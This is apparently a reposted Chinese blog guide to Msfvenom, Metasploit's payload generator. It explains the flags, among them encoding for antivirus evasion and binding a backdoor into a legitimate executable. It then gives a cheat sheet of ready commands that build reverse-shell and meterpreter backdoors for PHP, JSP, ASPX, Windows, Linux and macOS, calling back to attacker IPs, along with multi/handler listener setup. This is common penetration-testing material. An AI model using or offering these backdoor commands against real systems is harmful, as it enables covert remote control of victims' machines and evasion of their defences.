失眠网,内容丰富有趣,生活中的好帮手!
失眠网 > Msfvenom使用指南

Msfvenom使用指南

时间:2020-04-06 18:01:55

相关推荐

Msfvenom使用指南

参数总结

1. –p (- -payload-options)

添加载荷payload。

载荷这个东西比较多,这个软件就是根据对应的载荷payload生成对应平台下的后门,所以只有选对payload,再填写正确自己的IP,PORT就可以生成对应语言,对应平台的后门了!!!

(- -payload-options 列出payload选项)

2. –l

查看所有payload encoder nops。

3. –f (- -help-formats)

输出文件格式。

(- -help-formats 列出所有文件格式)

Executable formats:

asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection, psh-cmd, vba, vba-exe, vba-psh, vbs, war

Transform formats:

bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript

4. –e

编码免杀。后面跟编码方式,使用的编码方式

5. –a (- -platform – -help-platforms)

选择架构平台

x86 | x64 | x86_64

Platforms:

windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe

6. –o

文件输出。跟文件名 如shell.exe

7. –s

生成payload的最大长度,就是文件大小。

8. –b

避免使用的字符 例如:不使用 ‘0f’。注意引号的编码格式,windows和linux的引号不一样,混用会导致报错

9. –i

编码次数。后面接数次,表示编码的次数

10. –c

添加自己的shellcode。

11. –x | -k

捆绑。例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。

12.LHOST LPORT

用于指定后门返回机器的ip和发送的端口,相应的需要在攻击机上监听对应端口

13. -l

-l, --list <type> 列出指定类型的所有模块 类型包括: payloads, encoders, nops, platforms, archs, formats, all

14. -n

-n, --nopsled <length> 在payload上添加指定长度的nop指令

15. -t

设定读取有效载荷的秒数,后接数字

16. -h

帮助

17. -v

用于在特定输出格式下指定参数

目录结构

所有的msf的模块都在这个文件夹中

/usr/share/metasploit-framework/modules/

打开后可以看到

ls /usr/share/metasploit-framework/modules/ auxiliary encoders evasion exploits nops payloads post

有这么些目录

其中encoder是用于编码免杀的模块

常用的是其中x86/shikata_ga_nai文件

而payloads则是有效载荷用于靶机和攻击机建立联系

其中有三种类型

Singles- Singles非常小,旨在建立某种通讯,然后进入下一阶段。例如,只是创建一个用户。

Staged- 是一种攻击者用来将更大的文件上传到沦陷的系统的payload。

Stages- Stages是由Stagers模块下载的payload组件。各种payload stages提供高级功能,没有规模限制,如Meterpreter和VNCInjection。

而msfvenom使用的是singles文件夹中的payloads

官方帮助

-l, --list <type> 列出指定类型的所有模块 类型包括: payloads, encoders, nops, platforms, archs, formats, all-p, --payload <payload> 指定需要使用的payload(有效载荷)(--list payloads得到payload列表,--list-options得到指定payload的参数) 如果需要使用自定义的payload,请使用'-'或者stdin指定--list-options 列出指定payload的标准,高级和规避选项 例如:msfvenom -p generic/shell_bind_tcp --list-options将列出shell_bind_tcp这个payload的各种选项信息-f, --format <format> 指定输出格式(使用 --list formats 列出所有的格式)-e, --encoding <encoder>要使用的编码(使用 --list encoders 列出所有的编码) 用于编码加密--smallest 使用所有可用的编码器生成尽可能小的有效负载-a, --arch<arch> 指定payload的目标CPU架构(使用 --list archs 列出所有的CPU架构)--platform <platform>指定payload的目标操作系统平台(使用 --list platforms 列出所有的操作系统平台)-o, --out <path> 将payload保存到文件中-b, --bad-chars <list> 指定不使用的字符集 例如:不使用'\x00\xff'这两个字符-n, --nopsled<length> 在payload上添加指定长度的nop指令-s, --space <length> 设定payload的最大长度 即生成的文件大小--encoder-space <length> 设定编码payload的最大长度(默认为-s的值)-i, --iterations<count> 对payload进行编码的次数-c, --add-code <path> 指定一个自己的win32 shellcode文件 -x, --template<path>指定一个可执行程序 将payload捆绑其中 例如:原先有个正常文件normal.exe 通过此选项把payload捆绑到这个程序上面-k, --keep 针对-x中的捆绑程序 将创建新线程执行payload 一般情况-x -k选项一起使用-v, --var-name<value> 指定用于某些输出格式的自定义变量名称-t, --timeout <second>从STDIN读取有效负载时等待的秒数(默认为30, 0为禁用)-h, --help查看帮助

常用后门总结

msfvenom -p php/reverse_perl --format raw -o nibble.txt LHOST=10.10.16.2 LPORT=4444msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.7 LPORT=4444 -f raw > exp.jspmsfvenom -p windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.16.7 LPORT=4444 -f exe -o backdoor.exemsfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.14 LPORT=443 -f aspx > met.aspxmsfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.14 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f py -v shellcode -a x86 --platform windowsmsfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.14.5 lport=4445 -f exe > 1.exe

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

msfvenom -p osx``/x86/shell_reverse_tcp` `LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php

meterpreter的payloads

当你在加载payloads时使用了msf的payloads时,就代表你需要使用msf来监听这个payloads返回的shell

使用方法

打开msfrun msfdb使用 exploit模块use exploit/multi/handler设置payloads注意选择你在编译msfvenom时使用的payloadset payload window/meterpreter/reverse_tcp设置本机地址和端口set lhost 192.168.1.1set lport 4444开始攻击exploit或者run

如果觉得《Msfvenom使用指南》对你有帮助,请点赞、收藏,并留下你的观点哦!

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。
相关阅读
Msfvenom介绍及利用

Msfvenom介绍及利用

2023-08-22

msfvenom生成木马利用

msfvenom生成木马利用

2020-09-26

msfvenom基本介绍

msfvenom基本介绍

2019-07-25

Msfvenom的简单用法

Msfvenom的简单用法

2020-04-16

msfvenom手册

msfvenom手册

2020-03-08